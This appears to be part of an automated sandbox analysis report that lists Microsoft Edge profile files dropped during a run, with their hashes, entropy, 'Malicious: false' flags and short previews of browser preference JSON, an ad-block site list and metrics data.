AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\83466cde-e45e-4693-b7ae-0fb35dc7a184.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24961
Entropy (8bit):	6.036732292243112
Encrypted:	false
SSDEEP:	768:2MkbJrT8IeQc5J1WUolrfi7GzeYGRJaQB:2Mk1rT8Hh1Sedai
MD5:	009B0583FE25B24C32888E5FB452FD4D
SHA1:	725709A3DA62A4601F870F6FEFD899781D31ABAF
SHA-256:	376AA089943BF7159DF7B4924BF9BA3AB693F9B6E4C8D064F767E6FC6B12F8A7
SHA-512:	4232CDB5FFE3B1A6BD55BB38A9849348D87F46B47024B8A69E3BDB529F6A2C4A22DA6734CE0B475BD8FF1A58868BE830BA141983B4978C06488B1E205A64CA07
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376696967935927","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\87902b12-1f78-4a5b-9797-e83bb5740511.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8405
Entropy (8bit):	5.791987310132866
Encrypted:	false
SSDEEP:	192:fsNwSXbGpeiRU6Kjxk7cj6qRAq1k8SPxVLZ7VTiQ:fsNw8GJnAi786q3QxVNZTiQ
MD5:	D6C0C0FC6D96E2FC41FACE343EFC1C85
SHA1:	E900F98166AE92B344025926B49BA79B6898E444
SHA-256:	3E21E9193155E856AEB1288A8B017098CD8FD57F38A7E9D7109E75C3EAE8D916
SHA-512:	6C39E23F89E29727D1EA5117D030D4483587F9A32762B5AE9EBF999C10F0B339628973954F83D26293CE46D815E853550EACBD64A292C805DEB6F7E2FD4B019E
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8e665ef6-a22c-40a4-b626-7d272b3e6a17.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794448590316956
Encrypted:	false
SSDEEP:	192:akSXbG8eiRUahS6qRAq1k8SPxVLZ7VTiq:ak8G25S6q3QxVNZTiq
MD5:	E65E48126044B996BCDD785478E7933D
SHA1:	FB7FC4D504D0D4F78BEB6B973189E36F56C27140
SHA-256:	682116FC2BDA7B335A4219324A5F2AC306AEEEE9BE6285C5AA3101E538E52980
SHA-512:	248ACC71718F4C9DE1ED92E7F1AE3913889D2A78AACA43469A0E47CF658CE115736FB6A43B56B42EE2C69355FB05E393BEB2B6E72827E21A316D21641119C912
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAChdq3JO1atSIWqXHt5CVHtEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABR2tQnJr7yRyHEmn8+FGjyvA5HyRWSJkVe1QaHMK/qVgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\e70a9203-34bb-4f76-9d7d-018304d1f60d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673FA185-1F44.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04001745483031765
Encrypted:	false
SSDEEP:	192:f401utmqvDDYMPJvyqlBqfr3nXgXXKOvXrgTh5gBVxHwRQcqTU6n8y08Tcm2RGOD:g0EtbSQpShmpMwU608T2RGOD
MD5:	FE0F542A086633242670A653DBE42A4A
SHA1:	321977C3C28EF82AB6123748EDFBFB01CDBFB23B
SHA-256:	F8169518C63AB6D73D30F0E0664B0D39FE407966F1AA5F1145B29B709C52EFD6
SHA-512:	58925EEC87477EEB6EB85AD7A7527E66BBC5AB7A588AD99D06C264FA22DAE7444D989387C0ABAB7F8A861ADA4EAA462C85DB792D20F0FD7A092C22CEA95B7AA9
Malicious:	false
Preview:	...@..@...@.....C.].....@................a..@Q..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".rviopm20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./..................... ..<.w..U'D.I..G.......W6....{....>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z...........................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673FA186-1E78.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.42919140595256716
Encrypted:	false
SSDEEP:	6144:zpuH0S/O5JKkempIdruABQOKkHdRbeaH:LFJKnmpIdrd/
MD5:	4F0F9EAB65333F11CC74401F81D5392C
SHA1:	A0938957E3B4848A8F94AE778CCD739EDE2E0498
SHA-256:	8E0322ED57A8EA6CEF6DAFDDB3C7E10E79B627413B342137FBEE79512232CD4C
SHA-512:	AC50B9C87798F750456BE2B618B43075466B0FB15156BAFC13F9E9E80C4718621AC22EF8D94575EB5987E8ABBA7E8622F5E13022800C722A1F2BF1D85610D8C5
Malicious:	false
Preview:	...@..@...@.....C.].....@...................@...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".rviopm20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./.....................$..<.w..U?:K.'D.I..G.......W6....{....>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z............<..8...#...msNurturingAssistanceHomeDepende

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.3553968406659012
Encrypted:	false
SSDEEP:	12:biUXhV0xosU8xCe+JKlkQuMRxCb8ZXfgYJ0IJpP0KLsyW1L7Fx6:bFRqxosU8xWMk8xVZ4YWI30otWn
MD5:	CFAB81B800EDABACBF6CB61AA78D5258
SHA1:	2730D4DA1BE7238D701DC84EB708A064B8D1CF27
SHA-256:	452A5479B9A2E03612576C30D30E6F51F51274CD30EF576EA1E71D20C657376F
SHA-512:	EC188B0EE4D3DAABC26799B34EE471BEE988BDD7CEB011ED7DF3D4CF26F98932BBBB4B70DC2B7FD4DF9A3981B3CE22F4B5BE4A0DB97514D526E521575EFB2EC6
Malicious:	false
Preview:	...@.@...@..............@...................................`... ...i.y.........CrashpadMetrics.....i.y..Yd.h.......A.......e............,.........W.......................W....................Microsoft.UMA.PersistentAllocator.CrashpadMetrics.UsedPct.......h...i.y.[".................................!...&...+...0...6...;...@...E...K...P...U...Z...`...e...........i.y..Yd.........A............................E.[4.f..................E.[4.f.................Microsoft.UMA.PersistentAllocator.CrashpadMetrics.Errors............i.y..Yd.........A..................._..-`....h-.....................h-....................Crashpad.HandlerLifetimeMilestone.......0...i.y.[".........................................i.y..Yd.@.......C...........................VM....],................WM....],................Stability.BrowserExitCodes...... ...i.y......VM....],........H...i.y.1U!S............................................................ ...i.y...0...WM....],........................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.187800137618523
Encrypted:	false
SSDEEP:	3:FiWWltl/9eIth1iUniIWpCWjwBVP/Sh/JzvLi2RRIxINXj1jtll:o1/tdiKgjwBVsJDG2Yq
MD5:	514660B3F2F17478F22E1034032A5A6D
SHA1:	C84833468EC2B6E3483F2948E1C1F56D86EEE70B
SHA-256:	A72BFD07166FB837FBBD5182CC65AF6DF9026C8EC08F5F557F6C6F126119BDE4
SHA-512:	105C983FCC30083842158238E500AE930159E91E115BB008B5AFB67000FD6C51F06760A87F19B9832ACF51E878B8C48AD92184805F01F83D6AB8251935280B13
Malicious:	false
Preview:	sdPC......................5.y&.K.?...."DmHYrCHlc5lFyRGUq62R3qS1k3Ui6rBGmzkDnx9Vsbw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................48ea0ba2-e9bb-4568-92cb-0f42a5c5d505............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2331645a-e05e-46ed-842a-23c0e0a43277.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14002
Entropy (8bit):	5.24269532008856
Encrypted:	false
SSDEEP:	192:sVZJ9pQTryZiuaba4uylSJE+jnbYPABYJcR84pj+FRkQADUO1f:sVZLAJujJEabYGpUyQwp
MD5:	12FF08271B1686461F57E82C57D68457
SHA1:	18CB2D35847039353BE87DA56798E6E8585AF6E8
SHA-256:	40E69FB6BB87B64407EB6B7A325204FFC8D65132DA392838DFC3447F4A9943E3
SHA-512:	57D5CBF89ACB303E769DB8A5FEF4001D0C331287369D137256D8575DD3BD6DB049E3AC3C08C13EBCDD8AAFB384EDBF70AAC50B2A06C13E0E7D94D43375ECAE22
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13376696967884022","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5960cabf-d88e-4166-8a10-967311f525c9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13831
Entropy (8bit):	5.24451380247003
Encrypted:	false
SSDEEP:	192:sVZJ9pQTryZiuaba4uylSJE+jnbYPABYJcR84pj+FRkQAzUO1f:sVZLAJujJEabYGpUyQup
MD5:	5A2FE88D01EF00A0B471746FC0E8EDA6
SHA1:	88E2854576E22CDC01895EB72A98A201A0689B48
SHA-256:	2DAF3E943C24FBED5192565EC95BF1D16063E7689A2BCF58FE49446C169B4DD7
SHA-512:	6EA417DDA10A53A7A9F2AC4184DC9556BE60E3302D3A66C529B0BA823488A4AE0BEE16D013B8D0AC2E6A9DFA1354F914B405E0AE5CB5E7394677E4AEC23230EF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13376696967884022","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7108c715-b228-4996-b9c4-e29f780d2aaa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558173099699503
Encrypted:	false
SSDEEP:	768:zs8U727pLGLPMVWPUafMT8F1+UoAYDCx9Tuqh0VfUC9xbog/OVRIhAyrwmgp3tuf:zs8U7WcPMVWPUafMTu1jaEmA3mItU
MD5:	37231F29A4B27136E42B5547922B4194
SHA1:	744D0429AC221CCF99BFE7B7684A94199D577621
SHA-256:	F9BAC7B8AFD369510050DC6B1C646DCDCC64711F2AF106185BAD94988E7AD4E5
SHA-512:	0B3021BCE86405EA733501B8B9F8872831811923458613A1D037E400574C5862194F8E3931DC47638FD13183FD062AB630959F0E5B27488E3FD3C4C1AA9BB57C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376696967298871","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376696967298871","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\915bdb62-9099-4b0f-b3a2-8bc74b4d9c25.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\919fb704-ec48-4dcf-b3e4-db4614b6c1d6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\99f25c8b-0407-4854-9d49-a4b82a077826.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13965
Entropy (8bit):	5.243287326255033
Encrypted:	false
SSDEEP:	192:sVZJ9pQTryZiuaba4uylSJE+jnbYPABYJcR84pj+FRkQAdUO1f:sVZLAJujJEabYGpUyQAp
MD5:	0606590299B07DBE64591B1A4E8DC980
SHA1:	1FD808CC64B7C9E8AC5BD6C0ED8E6368CE83A6D0
SHA-256:	CEA43D524AEFBF32F8BDED942DC5D4F14264C0B3FCB8A4AAB48553397C572FC9
SHA-512:	B3A6848F02611DD32E53B57ACFC65B27EBF7EFA34C73A8CE58D34E102612376F4B53A3BF4A2C48B18F37F726E843C308D23CB509E516D3F4E15BECC955253A1E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13376696967884022","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1695826
Entropy (8bit):	5.041139903528992
Encrypted:	false
SSDEEP:	24576:0PfQUg6kAdRhiGzmYoAo2ENU0ifYeV3br2M:0PfZ/mS5
MD5:	631618EBF36B540BFA30FFD0BECCE125
SHA1:	C2D535BD55CD5F8B4CD7E8148798FC2917A77754
SHA-256:	3BA6306D00951112DB8B48899F3C105D27CDE5F11CCDC85412FEDD6269333014
SHA-512:	D55F59180A2870CE8D1B02375E8DDA4FA24123D088508485CC36C03444CE831656CB5553C2D6F8AFF8177D008E8E2A76F43DD3A9C61E8C5A352C7CD7C4A43515
Malicious:	false
